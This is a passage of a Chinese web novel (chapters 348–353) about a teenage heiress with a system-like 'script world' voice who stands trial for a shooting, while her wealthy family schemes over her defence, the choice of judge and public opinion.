灰蓝色的警服和粉色鸭舌帽,成年人的高大和未成年的娇小,她以少年人的意气冲进了成人的世界。 各大新闻报刊争相发布了这张照片,鲜明极致的反差让这张封面成为了无法复刻的经典。 * 沈园主厅。 “啪——” 沈谦气的脑仁疼,一把将手里的报纸重重拍下。 沈渊表情凝重,从沈谦手里抽出报纸,“这事闹的,南湾警署司的那些人都是干什么吃的?”说罢,抬眸看向对面的沈澈,“阿娇怎么说?” 沈澈,“这事阿娇也不知情,衫衫也没跟她商量,她人已经赶去警署司了,希望可以说服衫衫。” 沈谦脸色不虞,“告诉阿娇,这可不是小孩子过家家,涉嫌私藏枪支可是重罪,弄不好整个沈家都会被连累,让她想办法叫衫衫闭嘴!” 沈澈也知道事情的严重性,点头道,“放心吧,阿娇知道轻重。” “她要真知道就不会闹成这样?”沈渊大有不满,“衫衫那孩子是真被宠坏了,路都已经给她铺好了,闭个嘴就这么难吗?” * “这就是你们给我准备的辩护词?” 因开庭时间未定,姜花衫暂时被拘留在羁押所。 封闭的空间内,一张谈话桌,两张椅子,桌上摆着一沓文件资料。 “没错,姜小姐如果一定要自己辩护也不是不可以,不过在上庭之前请务必将上面的内容背的滚瓜烂熟。” 陈律师已经深深领教到了姜花衫有多难搞,半点不敢马虎。 姜花衫沉默了片刻,从一沓资料里抽出几张纸,“精神分裂症?” 陈律师,“姜小姐几个月前曾去鲸和心理科问诊,各方面参数指标都可以证实您的心理的确与常人不同。” “可是……” “姜小姐不用担心,既然是病就一定可以治好,您现在法定年龄不足十六岁,法院无法剥夺你康复的权力。” 姜花衫不置可否,又从资料里抽出一张转账记录。 “买枪?” “是的。现在外面最大的质疑声是枪支来源。一个星期前,鲸港总局曾以怀疑沈园私藏军火为由搜园,原本风波就没有平息,如今视频曝光,只怕有心人会借此炒作。所以枪支来源必须要解释清楚,且一定要把沈家摘离干净,综上所述,最好的解决办法就是买卖。” “虽说私买枪支也是违法,但你年纪小且购买数量少,相对私藏军火购买的量刑会轻的多。其次,我们还可以戴罪立功。” “戴罪立功?”姜花衫扫了一眼面前的流水和聊天记录,表情一言难尽,“你们该……该不会……” 该不会真弄了个军火商让她去检举? 陈律师轻咳了一声,“有了这条路,持枪的问题就不会被人抓着不放了。” 姜花衫,“……” “最后一点,关于虐杀,姜小姐,请一定记住,一定要将你的行为解释为自卫。” 姜花衫撑头揉了揉太阳穴,“法官也不瞎吧,我这么说谁信啊?” 陈律师扶了扶眼眶,“姜小姐,在法庭上每个人都有表达自己观点的权力,谁都无法剥夺,而你要做的就是清楚阐述你的观点,至于法官会不会采纳那就是另外一个问题了。” 姜花衫若有所思。 陈律师见她神情思考便知大小姐是听进去了,继续说道:“现在我们再来说另一个问题。A国目前对正当防卫的鉴定界限并不清晰,很多时候依赖于法官和陪审团的主观情感,所以……我们可以借用上一张病例报告解释你的行为失常。从现在开始,每天都要在心里告诉自己,你就是在保护自己和另外一名受害者。” 姜花衫点头,“明白了。” 陈律师终于松了一口气,拿起桌上的咖啡,“姜小姐,这些资料你先看,你的母亲还在门外等着见你,我先出去了。” “陈律师。”姜花衫喊住他。 “还有什么不明白的吗?”陈律师正要转身又折了回来。 姜花衫看着他的眼睛,“如果我本来就是个仗势欺人,喜欢以虐杀别人为乐的恶徒呢?” 陈律师愣了愣,“什么?” 姜花衫,“这样的人你还会为她辩护吗?” 陈律师想了想,放下公文包重新坐了回去,“会。” “为什么?” 陈律师取下眼睛,坦然面对姜花衫的审视,“因为这是我选择做律师的信仰,我为当事人辩护,正义交给法律。” 很现实,也很客观。 姜花衫点头,“知道了。” 陈律师戴上眼镜,轻轻点了点头,正欲转身,忽然想到什么又开口道,“姜小姐,你的母亲给出的酬劳没有人可以拒绝,全鲸港百人金牌团,我并不是里面最优秀的,但您知道为什么最后是我做您的辩护律师吗?” 姜花衫好奇,“为什么?” 陈律师,“因为我知道你在救人,所以我的正义和法律并未冲突。” 他回以微笑,退出了房间。 房门再次打开,沈娇穿着一件从头裹到脚的貂皮走了进来。 姜花衫一时没认出来,“妈?” 沈娇摘下貂帽,风情明艳的脸上满是嫌弃,“这是什么鬼地方?等会就跟我回家。” 姜花衫心头一暖,咧嘴笑了笑。 “少嬉皮笑脸。”沈娇没好气乜了姜花衫一眼,抽开椅子坐下。 姜花衫立马收敛嘴角,“对不起,让您担心了。” 她惹下这么大的事还能笑着坐在这,即便沈娇什么都没说,她也能猜到沈娇为她铺了多少路。 一句自行辩护看着意气风发,实则完全没有顾虑沈娇的心情。 沈娇脸色缓和了不少,轻叹了一声,“说吧,到底为什么一定要自己辩护?” …… 第349章 以身入局 为什么? 姜花衫脑海中立马闪过被藤蔓缠身的画面。 因为现在所有发生的剧情都是她为了抵抗剧目世界重新生成的新剧目。 不管是《纵横豪情》,还是她所在的衍生剧目里,现在的剧情都不是既定剧情。 原本她也只是抱着试一试的心态,可当她被剧目之门召去虚空,她就知道自己赌对了。 这三年,姜花衫一直在试着改变剧情,可不管她怎么努力,关键剧情还是原封不动地上演,唯一的区别就是那些原本应该发生在她身上的故事都转移到了别人身上。 最开始,她也以为是自己的努力有了成效,可随着真假千金的剧情逐步上演,她突然意识自己可能又犯了一个严重的逻辑错误。 《纵横豪情》里,她的角色是恶毒女配,所以理所当然会成为主角和剧情的垫脚石。 可现在的剧目是《我不过作作妖,怎么就成了白月光》,她已经从配角变成了白月光。 在这个剧目里,除她以外的所有女生都是配角,不单单是傅绥尔、沈眠枝、苏妙,就连曾经的女主也是。 也就是说,依照现在的剧情发展,《纵横豪情》的主线剧情依旧会原封不动上演,唯一被赦免的就是她。 所以,爷爷一定会死,沈娇也是。 可她重活一次并不在意自己是否是一场虚伪世界的主角,她在意的从始至终都是那一个人。 现在随着感情羁绊越深,一个人变成了一群人。 可她现在连沈家有几个内奸都不知道,屠沈联盟里的家族除了傅、姚两家一点线索都没有。 到底是谁要对沈娇动手?如何动手?这些她也没有一点头绪。 尤其是沈妙的事发生之后,姜花衫的危机感就更重了。 她自觉已经预防了很多,可还是万万没想到最后置苏妙死地的竟然是苏韵? 这一次侥幸救下苏妙,可下一次她还能侥幸救下沈娇吗? 不,她不行。 她不能让侥幸决定她爱的人的命运。 于是,她做了一个大胆的假设:如果沈娇的死是十六岁的重要转折点,那她只需要在十六岁的节点写下一个足以动摇整个剧目脉络剧点,是不是就能改写沈娇的结局? 哪怕不能达到预期,能延长拯救沈娇的时间也是好的。 可是剧目世界拥有随时纠正剧情的能力,她要怎么做才能让这个节点不被剧目掌控,发挥出百分百的替代作用呢? 她没有头绪,甚至用新节点代替旧节点都是她异想天开的脑洞,根本没有任何论证可以支撑。 她完全是在摸着石头过河。 直到后来,她借机回小黑屋拿包摸到了隐藏的摄像头,一个全新剧目的雏形突然就在她的脑子里自动生成了。 她的新剧目必须要炸!要燃!要影响力深远!要让这个世界所有参与者都知道。 在这个剧情里,她可以不用是好人,也可以不被理解,只要影响力够大,只要能代替旧的节点就够了! 试试吧,以身入局才能胜天半子。 剧目世界的剧情不接受除剧目之门以外的任何力量更改,也就是说这是她一个人的革命。 这些,她不能对任何人说。 姜花衫抿嘴笑了笑,缓和气氛,“我知道我这样会让您很为难,大伯他们……” “他们都不重要。”沈娇神情严肃,认真看着姜花衫,“你比较重要。” 姜花衫微愣,沈娇眼眶微红,“来之前,我试着说服自己相信你,相信你可以面对,相信你的决定。可是……” 沈娇意识到自己的情绪有些激动,立马收敛了几分,“可是当我看见乌漆嘛黑的房间连个暖气都没有,我真的不知道怎么说服自己?” “你才十六岁,你才见过多少世面?我真的不放心任由你自己处理这件事,你能明白我的心情吗?我答应绥尔要带你一起去医院看她的,我答应了她。” 姜花衫点头,“我知道。” 沈娇扬起头,将眼眶里的湿润憋了回去,“陈律师给你的辩护词看了吗?” “看了。” “这些资料你大伯他们都出了力,法院、检察院、新闻舆论,他们都已经安排好了。” 姜花衫指尖微微收拢。 沈娇目不转睛看着她,“你不会按这份资料辩护,对吗?” 姜花衫眸光一怔,有些意外看着沈娇。 沈娇不知是该生气姜花衫不听话,还是该高兴她的坦诚。 她有些无奈,轻轻握住姜花衫的手,“只有这样,我们才能最大程度的保全你。” 姜花衫点头,“我知道。” 可是,如果只是这样,她和肇事逃逸躲去S国的沈年有什么区别?她只会变成A国民众茶余饭后用来抨击财团、权贵的闲谈。 这样一出剧目,民众一定会败兴而归,不足以震撼。 “你知道?既然知道为什么……你有更好办法?”沈娇的手劲不自觉收紧,她真的很想知道这孩子到底在想什么? 姜花衫回握沈娇,轻轻拍了拍她的手,“我也不知道那是不是更的办法,但那是我现在最想做的事。妈妈,我知道我不说理由却又要您无条件相信我,这很滑稽。这次您就让我任性一回,我真的很想完成这件事。” “……” * 沈娇走出房间的时候,只觉心力交瘁。 孩子太有主意也不是好事,伤妈。 “沈小姐。”陈律师提着公文包从走廊一边走了过来。 沈娇迅速调整好神态,神情冷艳,“怎么样?保释通过了?” 陈律师点头,“很顺利。” 沈娇,“退回去吧,不保释了。” “不保释了?”陈律师懵了,完全反应不过来。 沈娇没有解释,把手里的资料递给她,“这个也撕了吧,用不着了。” 这不是他刚刚让姜小姐熟记的答辩词吗? 陈律师满是不解,小跑追上沈娇,“您这是什么意思?官司不打了?” “不是不打,是换个方式。”沈娇忽然想到什么,脚步一顿,“你听说过公仪蕙吗?” “A国法学就没有人不知道她的,她可是A国有史以来唯一一位女性一级大法官。” 陈律师终于反应过来,“您想请让公仪蕙担任此次开庭法官?” 沈娇脑海中不觉浮现出姜花衫拉着她的手央求的模样。 “整理一份这位公仪法官的资料,我看过再决定。” “……”陈律师欲言又止,“别人还好说,如果是这位,您的优势可就没了。” “我的优势?” 陈律师轻咳了一声,“公仪法官廉洁一生,最恨有人用铜钱玷污公正。” 沈娇,“放心,我出手可不会是铜板。” 陈律师,“……” …… 第350章 大法官公仪蕙 沈园。 “公仪蕙?” 沈谦看着沈娇,只觉一个头两个大,“你知道公仪蕙是谁吗?当年轰动世界的绞刑案就是她判的,你让她来审这个案子,是想把衫衫送上绞刑架,还是想把沈家送上火坑?” 当年A国几个贵族小孩联合霸凌同学,并用极其残忍手段将人虐杀,因为那几个孩子都未成年,并未收到应得惩罚。 受害家属不服,继续上诉,二审时公仪蕙受理了这个案件,开庭期间,杀人凶手们仗着自己有权有势,嬉皮笑脸毫无悔改之意,甚至还对着家属言语挑衅,是公仪蕙顶着巨大压力判处八名贵族小孩绞刑。 在此之前,A国的贵族从未有过败绩,A国民众更是将‘绞刑案’视为司法正义的革命之战。 而公仪蕙也因此得罪了权势,后被检举贪污受贿、个人作风失德停职调查,所幸上天终不负正义,权贵们使尽全身解数也没能找到公仪蕙受贿证据,反而牵出了她令人神伤的过往。 公仪蕙作为单亲母亲,与女儿相依为命,她为女儿倾尽全力,给她最好的资源,送她进最好的学校。 某天,她突然收到学校的通知,女儿心脏病复发失去了生命特征。当公仪蕙伤心欲绝赶到学校时,学校称遗体已经被送去殡仪馆火化。 一个母亲所要承受的最大之莫过于此。 半年后,公仪蕙从悲伤中走了出来,着手调查女儿之死。她痛恨作恶者,决定亲自做审裁者。 于是,她重读法学,以全国第一名的成绩入职鲸港第一法院。 那时,即便她已经是鼎鼎大名的一级大法官,却还住在与女儿生活的小平房里。 三十年间,她散尽家财资助了一个又一个贫困优秀的女生,为她们领路教她们向上。 公仪蕙被诬告时,她资助的两千名孩子在法院门前静坐为她击鼓鸣冤,由此公仪蕙的名声暴涨,A国民众亲切称她为青天妈妈。 这样的人就是块钢板,权贵们惜命也不敢轻易招惹。 姜花衫在视频里把一群人打成了筛子,单从虐杀角度,性质恶劣程度比当年的霸凌案差不了多少,让公仪蕙主审这不是找死吗? 沈娇来之前已经看过了公仪蕙的资料,她其实也不放心,可这个人是姜花衫指定的,她已经答应了孩子。 于是,她故作胸有成竹,“眼下闹到这一步,傅家一定猜到我们会指派法官,你觉着他们会坐以待毙吗?就算最后是我们的人坐上审判席,傅家也一定会制造各种舆论批判庭审的公正性。所以,公仪蕙是最好的人选。” 沈谦眉头微蹙,“你不会天真以为这个案子还能公正审理?” 他实在不理解为什么沈娇会在这个节骨眼失智。 沈娇冷笑,“为什么不能?姜花衫是我女儿,老爷子不在,她的事自有我做主。” 沈谦顿时脸色阴沉,沈娇是家里最小的孩子,又仗着有老爷子的宠爱,向来不把二房放在眼里。 沈澈见状连忙拉住沈娇,“大哥,其实阿娇说的也没错,公仪蕙在A国的司法地位无人能撼,如果她能判决衫衫无罪,起码能压住大半不利舆论。” 沈渊,“说的简单,这个人可不好控制,先不说怎么说服她,就算她受理了,又怎么能保证她跟咱们一条心?万一她判处衫衫绞刑呢?” 沈娇顿时秀眉倒竖,拍桌指着沈渊怒道:“庶子!你少在这放屁!别拿衫衫跟那群该死的人渣相提并论。” “……”沈渊眉眼跳了跳,怎么还是小时候那狗都嫌的德行。 沈谦忍着怒火,“说的什么混账话?!” 沈渊脸上有些尴尬,但看着二房吃瘪又觉得好笑,故作严肃拉下沈娇的手,“都是一家人,你别太过分了。” 气氛一时陷入僵局。 就在这时,两道挺拔的身影一前一后进入主厅。 “爸。” 沈谦闻言,眼眸便看见两个光风霁月的少年。 沈归灵和沈兰晞并肩而立,目光在众人之间游弋,一一打招呼。 沈谦这才缓和了脸色,先扫了沈归灵一眼,才笑着看向沈兰晞,“都赶回来了?” 沈兰晞轻轻点头,转头看向沈娇,“姑姑,衫衫呢?” 面对小辈,沈娇态度天差地别,语气温和,“她在羁押所,那孩子自觉对不起我们,说没脸回家。” 沈兰晞沉默片刻再次开口,“我刚才在外面听见姑姑说想请公仪法官主审衫衫的案子?” 沈娇点头,“没错。” “她倒是个不错的人选,但据我所知,公仪法官半年前因为身体原因请了长假,只怕她不会轻易应口。” 公仪蕙是聪明人,一定能看出这场官司是权谋者之间的博弈,她未必会愿意趟这趟浑水。 沈归灵站在旁边一言不发。 沈娇,“我已经让人送礼了,愿不愿意还不好说。” “什么?!”沈谦太阳穴突突,声音拔高,“你给公仪法官送礼?这么大的事你怎么不和我们商量?” 沈娇,“这种小事有什么好商量的?” 沈渊取下眼镜,捏了捏山根,“你是嫌沈家罪罪名还不够多吗?上赶子给人送把柄。” 这边话音,陈律师立马快步走进了主厅,微微欠身。 “沈小姐,公仪法官回信了,说会向法院申请主理此案。” 沈谦一口气憋的慌,“你给她送什么了?” 沈娇,“你管不着,我出手自然是贵不可言的东西。” 沈谦,“……” 沈澈,“证词安排好了吗?” 陈律师正欲开口,沈娇抢白道,“放心吧,我已经跟衫衫交待好了,这次保管不会出错了。” 沈谦冷笑了一声,“公仪蕙的事既然是你自作主张,到时候出了什么事,你自己看着办。” “能出什么事,礼她都收了,难不成还能告我?”沈娇站起身,一脸淡定,“羁押所那边我都已经安排好了,其余的就麻烦几个哥哥、侄儿操心了,绥尔还在医院等我,我先走了。” 沈归灵面带微笑,“姑姑慢走。” 沈娇脚步一顿,不由多看了沈归灵一眼。 “衫衫去南湾都是你在照顾她?” 沈归灵垂眸,略有愧疚,“是我无能,没有保护好她。” “这事怪不着你。”说罢,沈娇转头出了主厅。 沈兰晞思忖片刻,跟着追了出去。 沈归灵站在原地,思考了过后,转头走向沈谦。 …… 第351章 《致无能的总统先生》 “姑姑。” 沈兰晞快步追上沈娇。 陈律师见状,立马主动避让。 “找我有事?”沈娇心里其实并不如表面看上去那般游刃有余,但在沈兰晞面前,她还是表现地很得体。 沈兰晞从口袋里拿出一封信笺大小的文件,“请您帮我把这个转交给衫衫。” 沈娇微愣,抬手接过信封,“兰晞,别怪姑姑多嘴,我能问问里面是什么吗?” 眼下这么关键的时刻,信任一旦错付,姜花衫这辈子就完了,所以沈娇必须谨慎。 沈兰晞,“您可以先打开看看。” 沈娇看了他一眼,果断撕开信封,待看过里面的内容后眼里不觉泛起了水光。 她张开双臂想给沈兰晞一个拥抱,忽然想起他不喜欢人触摸,又尴尬收回了手。 “兰晞,姑姑替衫衫谢谢你。这个恩情姑姑记下了,以后只要你有需要姑姑的地方,姑姑义不容辞。” 沈兰晞神色微动,表情严肃,“姑姑言重了,我并没有这个意思。” 沈娇也意识到自己失言了,抹着眼角笑了笑,“姑姑说错话了,不过这个情姑姑受了。” 沈兰晞欲言又止,犹豫过后也只是点了点头。 等沈娇走后,高止一个飞身从树冠后窜了出来。 “少爷,你刚刚就应该反驳的,你应该大声告诉沈小姐,这个情是给姜小姐的, 她领错了!” 沈兰晞神情淡漠,“闭嘴。” 上一秒高止还恨铁不成钢,这一秒,他恨不得化身打铁匠。 * 余宅。 “总统阁下留步。” 周国潮笑着握手道别,余斯文从门口一路寒暄,亲自将人送上车,直到周家的车完全消失在林道,余斯文才慢慢收敛笑容。 转过身,回眸就看见余笙站在门口迎接他。 “爸爸,其实您不用亲自把人送上车的。” 余斯文并没有反驳,轻轻摸了摸女儿的头,“进去吧,外面冷。” 总统府在国防大楼,大部分时间余斯文都在总统府办公,但近日苏、傅两家的矛盾越来越深,为了免遭池鱼之殃,余斯文特意回私宅躲清闲。 他的私宅很隐秘,只有极少的权贵和亲信知道,这几天因为姜花衫的案子,前来拜会的人络绎不绝。 在周国潮之前,他已经连续招待了几批贵客,其中还包括苏敬琉。 再次回到书房的余斯文一身疲惫,余笙给他泡了壶参茶。 “爸爸,喝茶。” 余斯文强打起精神,“你的课题报告做完了?” 余笙点头,拿出提前准备好的IPAD,“持枪虐杀案的热度越来越高,我想着如果能以此为切入点,做一篇有关女性主题社会课题应该会有很意义。” 余斯文顿时来了兴趣,接过她的IPAD。 余笙很聪明,她知道现在国民对于姜花衫褒贬不一,不管她站在谁的角度发表言论,势必会引起另一半人的不满。 所以她的主张,只谈事实现象,并不对案情发表是非论点。 比如,她同情苏妙的遭遇,对标质疑的是国情治安条件。 再比如,她同情教会那些被亲生父母买卖的孩子,由此延伸到社会福利该如何保障? 余斯文只有余笙一个女儿,对她的培养更是不遗余力,这三年余笙常常跟随总统父亲出现在各种政治发布会,也积累了不小的名气。 “这些只是我的初步课题方向,您觉得怎么样?” 余斯文拍了拍她的肩膀,“我觉得还可以深入?” 余笙有些不明白,“深入?您可以说的具体点吗?” 余斯文想了想,“阿笙,如果是课题我们可以简单点,这已经很棒了。但如果你有更高的要求,这些立意显然不够。你记住,决策者一定要把自己当作上帝,上帝从不会在一件事上左右摇摆,因为上帝从不缺乏信徒。” 余笙若有所思,拿着IPAD准备回去重新调整。 “叮咚——” 就在这时,电脑屏幕跳出邮件提醒。 余斯文端起桌上的参茶,顺手点开文件,片刻后他目光一怔,慢慢放下手里的茶杯。 “阿笙,你过来。” 余笙已经走到书房门口,闻言回头看向余斯文。可余斯文一个眼神都没有,眼睛一眨不眨盯着电脑屏幕。 余笙心生疑惑,转身了过去,“爸爸,怎么了?” 余斯文重重舒了一口气,将电脑屏幕转向余笙。 《致无能的总统先生!》 这标题,又是哪个反社会的激进党? 署名:傅绥尔。 看到名字,余笙朝预感到了事情不简单,不觉扫向正文。 总统先生,您好。 想必您一定也知道最近闹的沸沸扬扬的《持枪虐杀案》,不知道您听后作何感想?反正我是寝食难安,我忧虑挚友能否安然无恙,更忧虑A国僵如死水的明天。 未免长篇大论,我先向您表达我的主张,一、如果A国不能严肃治安,就请废除《持枪令》;二、如果A国不能为女性提供平等的就业岗位、不能废除底层思维的重男轻女,那就废除《禁止DT令》。 以上两个论点,我将分别将以《持枪虐杀案》与《西林**案》与向您阐述我的立足点。 洋洋洒洒八千字,针砭时弊、鞭辟入里且用词犀利,看似恭敬,实则满腔少年壮心怼天怼地,把整个A国领导层都骂了个遍,连沈谦都没有放过。 余笙看着眼前信件,忽然感觉到了前所未有的危机。 余斯文轻轻拍了拍她的肩膀,“阿笙,你明白什么是‘上帝’了吗?” * 傅家。 书房内,傅岭南正在闭目养神,傅嘉盛和傅嘉明一前一后走了进来。 “爸。” 傅岭南缓缓睁眼,“怎么样了?” 傅嘉盛,“刚刚收到消息,沈家这个案子的法官排的是公仪蕙。” “公仪蕙?”傅岭南嘶了一声,“怎么是她?沈家人这是不要命了?” 傅嘉盛,“那边传来消息,人选是沈娇亲自定了,公仪蕙已经收下了沈娇的礼。” “好!”傅岭南瞬间来了精神,“他们那边的辩护方案拿到了吗?” 傅嘉明抽出手里的文件,“伪证、暗通军火商贩,这场官司打下来,沈家不死也残。” “哈哈哈哈哈哈……” 快开庭吧,等不及看沈家人哭了。 突然,三人相视大笑,仿佛看见胜利的曙光在向他们招手。 …… 第352章 好戏开场了 三天后,法院公布了此次持枪虐杀案的主审、以及五名陪审员,除了国民接受度最高的公仪大法官,另外五名陪审员的职业分别是:前教育部部长、心理医生、记者、全职母亲以及一名政法大学女学生。 名单一经发布,再次掀起舆论的风波。 除去公仪蕙的热度不说,另外五名陪审员的职业就充满了博弈色彩,他们分别代表的不同阶级的思想理念。 由于案件受到高度重视,不少新闻媒体人请求公开审理,但公仪大法官考虑到嫌疑人未满十八周岁,提出以当事人意见为主,沈家二话不说提出隐私保护。 翌日,沈娇作为沈家代表递交材料时,‘一不小心’把不同意写成了同意,法院同步信息时,差点没把沈谦气死在办公桌上。 “她是疯了不成?!” 办公室里没有外人,沈谦也不用顾虑形象,怒不可遏将资料将甩在茶几上,“这件事绝不能任由三房胡来。” 沈归灵随意扫了一眼,状似不经意拿起查阅,“这是?” 一沓黑白资料中,表格中的彩色免冠照片十分惹眼,女孩儿脸颊略带婴儿肥,稚嫩的五官处处透着精致地可爱。 拍照的时候她应该刚刚哭过,眼下睫毛还湿作一团,看上去可怜又好欺负。 沈谦捏了捏眉心,“这是当初沈家收养姜花衫的资料,当年你爷爷不知道因为什么原因,不顾全家人反对非要收养一个外人,我们沈家不同于一般家族,凡家族成员必须入族谱,好在你爷爷有先见之明,虽然宠爱姜花衫但族谱之事一直未提。” 沈归灵若有所思,抬眸看向沈谦,“爸爸您打算让沈家和衫衫撇清干系?” “若事情到了不可挽回的地步,这是最好保全沈家的办法,家族百年荣耀怎么能因为她一个外人被折损?我这么做想必老爷子也会体谅。” 沈谦思忖片刻,盯着沈归灵打量,神情缓和,“这件事交给别人我不放心,阿灵,你去办。” 沈归灵垂眸看着照片里扎着羊角辫的女孩儿,笑了笑,“好。” * A国财团千金持枪虐杀案的热度持续暴走,就连S国的女王都有所耳闻。 白朱拉曾关切询问沈庄是否需要提前结束国访,但被沈庄一口回绝。 国宴结束后,外媒记者在新闻发布会上当众问及沈庄对于孙女持枪杀人的看法?更甚有之发出灵魂质问,如果姜花衫被判重刑,沈家是否会采取特殊手段继续上诉。 沈庄历经半生风雨又怎么会看不出魑魅魍魉的伎俩,不卑不亢以六字回绝,“国宴不谈家事。” 姜花衫的案情并不复杂,再加上她个人已经承认事实,所以大大节省了取证环节,法院为了尽快处理此事,宣布七个工作日后正式开庭,且应当事人自主意愿,案情公开庭审。 这七天里,前往羁押所探视的人络绎不绝,沈娇为免姜花衫在里面受委屈,每天变着法子挤占探视时间。 同样的,借着案情博弈的几方势力也没闲着,绞尽脑汁完善自己的布局。 这其中,最平静的莫过于姜花衫了,最后三天她拒绝了所有人的探视,每天待在禁闭室的房间里不是吃就是睡。 临近开庭前两天,傅绥尔的《致无能的总统先生》在校园论坛突然大爆,引发热议,随着越来越多人的关注,各大主流媒体的UP博主纷纷以《致总统先生》为主题发起热度挑战。 余斯文的官网信箱一天之内收到了上万封邮件,简直苦不堪言。 临近开庭最后一天,沈庄还是没有回国,不论是博弈者、还是同谋者,都在等待第二天的到来。 * 开庭日。 寒风簌簌,庄严的司法局前已经围满了前来听审的热心民众。 临近开庭十五分钟,家属入庭。 记者们纷纷低头看着手上的腕表。 “也不知道沈家人会不会来?说到底,这姜花衫只是沈家的养女,出了这么大的事沈老爷子都没有回国,说不定她已经是家族废棋了。” “听说沈家原本可以取保候审的,但还是任由她被关在羁押所,看样子是不打算管了。” “不管也正常,毕竟只是养女。” 话音一落,突然人群里有人喊了一声,“快看,沈家人来了!” 沈娇身着定制款黑色风衣,皮貂手套,脖子上带了一串收藏级别的大点位珍珠项链,一个眼神气场全开,珠光宝气贵不可言。 与沈娇并肩的女生穿着一身黑色外套,齐刘海,她正低头与轮椅上的女生说话,而轮椅上的女生穿着黑色毛衣,身上还盖了件全黑的羊绒毛毯,两个女孩儿一静一动,灵气逼人。 原本这就足够惹眼了,但随着沈兰晞和沈归灵逐步走近大众视野,围堵的民众和记者一片哗然。 少年一身笔挺的黑色西装,一个淡漠疏离拒人于千里之外,一个眼眸含笑如春风拂面,俊美的五官帅的各有千秋。 “沈家人的基因都这么强大吗?简直是神颜家族照进现实,这么看姜花衫哪像是抱养的?” 谁也没有想到,沈家一个简单的家属入场就把会外的热度推上了高潮。 沈家之后,第二个露面的是以苏敬琉为首的苏家势力,苏灼穿了一身枪灰色西装,搀扶着苏敬琉慢慢走进人群。 苏家老爷子竟然亲自来会场,众人倒吸了一口凉气。 记者们蜂拥而上却被苏家事先安排好的保镖挡了回去。 “苏老爷子,请问您对此次案件有什么看法?能展开说说吗?” “苏老爷子,关于苏韵陷害手足您有什么想说的吗?” 苏敬琉目不斜视,祖孙俩在保镖的护送下直接进入大楼。 一场未知剧目由此正式拉开序幕。 …… 第353章 对簿公堂 “姜小姐,准备上庭了。”陈律师提着公文包,不断看着手上的腕表反复确认时间。 【警告!警告!警告!当前剧情严重偏离主线,请立即纠正!】 【警告!主线偏离90%,剧目世界将毁于一旦。】 【警告!当前剧情严重偏离主线,请立即……】 【叮——】 姜花衫坐在侯审厅闭目养神,终于在最后一刻把剧目之音强行踢出了识海。 从三天前开始,她的脑子里就一直都是剧目报错的提示音,吵地她都快神经衰弱了。 法院工作人员上前催促,“庭审马上就要开始了,准备入席。 现场无数媒体静待这一刻,随着审判庭大门缓缓打开,所有人的目光随之牵引。 姜花衫由律师和两名法院人员陪同走入被告席。 “衫衫……” 傅绥尔的心一下揪了起来,死死拽着手里的羊毛毯。 沈娇看出了她的紧张,轻轻拍了拍女儿的背,小声道,“相信她。” 沈归灵和沈兰晞各自沉默,如果不是目光从始至终都不曾转移,没有人能从他们脸上的表情看出丝毫关心。 与此同时,鲸港主流电视台正在转播现场情况。 电视机前,决策者、权谋者,以及无数A国民众都在观看这一幕。 被告区的女孩儿素面朝天,眼皮拉跨一点精气神都没有。 没有人知道她是被脑子里的声音吵麻了,只当小姑娘终于知道怕了,毕竟这样的全民公审在A国也是历史头一回。 鲸港时间10:00AM,庭审正式开始。 公仪蕙年逾五十,因为过度劳累原比真实年龄看上去老得多。依照庭审程序,公仪蕙当众宣读事实原委,语气温和询问姜花衫是否对视频内容有异,得到无异议的回答后,她再次宣读检方控诉罪名。 一、私藏军火,公然违背《禁枪令》 二、虐杀手段残忍,其性质恶劣有违对社会良序。 前期举证环节,检方代表咄咄逼人,基本不给姜花衫解释的机会。 “请问视频里的开枪的是你本人吗?从两枪爆头的现场记录来看,我们合理怀疑你曾接受过专业训练。” “请回答是或不是。” 姜花衫,“是。” 检方,“一个人在什么情况下会无缘无故苦练枪法?这是否说明你早有预谋?” 姜花衫想了想,“是。” 此话一出,陈律师眉心一跳,豁然抬头看着姜花衫,大概是太过顺利,对面的检方代表都愣住了。 下方听审席的观众纷纷侧目,交头接耳。 “安静。”公仪蕙敲槌维持现场秩序。 检方代表继续递交被害人资料,“法官,现场八人三死五残,经过法医和专业机构鉴定,开枪之人不仅是个中好手,连她手中枪械都大有文章,小巧精便,弹匣经过特殊处理,与313女营指定军枪高度雷同。考虑到嫌疑人的身份,我方合理怀疑她手中的枪是国防军需。” 此话一出,沈娇眼底闪过暗光,庭审席再次哗然。 照这个趋势审下去,可就不得了了,即便是沈家也扛不住私动国防的帽子。 电视机前的傅岭南露出会心的微笑。 这步棋他早就埋好了,沈家想用私下买卖糊弄大众,也要看他答应不答应。 一个乳臭未干的小丫头片子,不过仗着有家族庇护才敢自己辩护,他倒要看看,沈家怎么靠一个养女逆风翻盘。 公仪蕙看过检方递交的资料,转递陪审团继续查阅。 “被告对此是否有不同意见?” 姜花衫摇头,“没有,的确是军供。” “……”检方代表防备的眼神霎时呆滞,这是知道没路走了索性就不挣扎了? 话落,全场安静再次哗然。 “肃静!” 公仪蕙再次敲槌维持现场秩序。 姜花衫十分从容,态度端正,“法官,我的律师告诉我,每个公民都可以自由表达的自己的观点,检方都说完了,下面可以由我答辩了吗?” 在开审之前,公仪蕙不仅阅读了案情所有资料,甚至调查了姜花衫近三年来在校期间的档案,她很喜欢这个看上去疯疯癫癫的女孩儿。 所以尽管姜花衫的行为不符合规范,但是温柔的青天妈妈还是忍不住多了一分宽容。 “稍后,孩子,检方代表做完最后陈述才轮到你。” 姜花衫点头,背靠被告席挑眉看着对面的检方代表。 “……”检方还第一次遇见这么嚣张的被告,拿起事先准备好的资料宣读控诉罪名,“综上所诉,我方恳请法院判决姜花衫私藏军火罪、虐杀罪成立,判处终生监禁。” “我****你*****!” 检方话音还没落下,听审席的沈娇突然暴动,拽下脖子上的大颗珍珠对着检方的脸砸了过去。 因为骂的太脏,周围的人一时都没反应过来,等回过神时,检方捂着发黑的眼睛险些栽倒在地。 现场警卫立马上前警告,沈兰晞第一时间站起身,面向审判席微微弯腰致以歉意。 沈归灵则微笑将警卫拦在席外。 沈娇却装作什么事都没发生,摸了摸头发又坐了回去。 公仪蕙,“请家属保持冷静,如有再犯警卫直接请退。” 沈娇笑了笑,充耳不闻,眼神死死看着方才宣读陈述的检方代表。 男人咬着牙,不敢抬头更不敢对视。 公仪蕙示意工作人员将检方证据交由姜花衫查阅。 “现在是被告答辩时间,被告可以根据检方指控自由答辩。” 姜花衫点头,“首先,我承认枪支是军需,但我并不认为我有罪,因为枪是我偷的。” 检方代表敏锐觉察到了漏洞,“反对!军库的枪并非商场随意物件,一般人怎么可能有渠道偷军需?” “因为我不是一般人。” 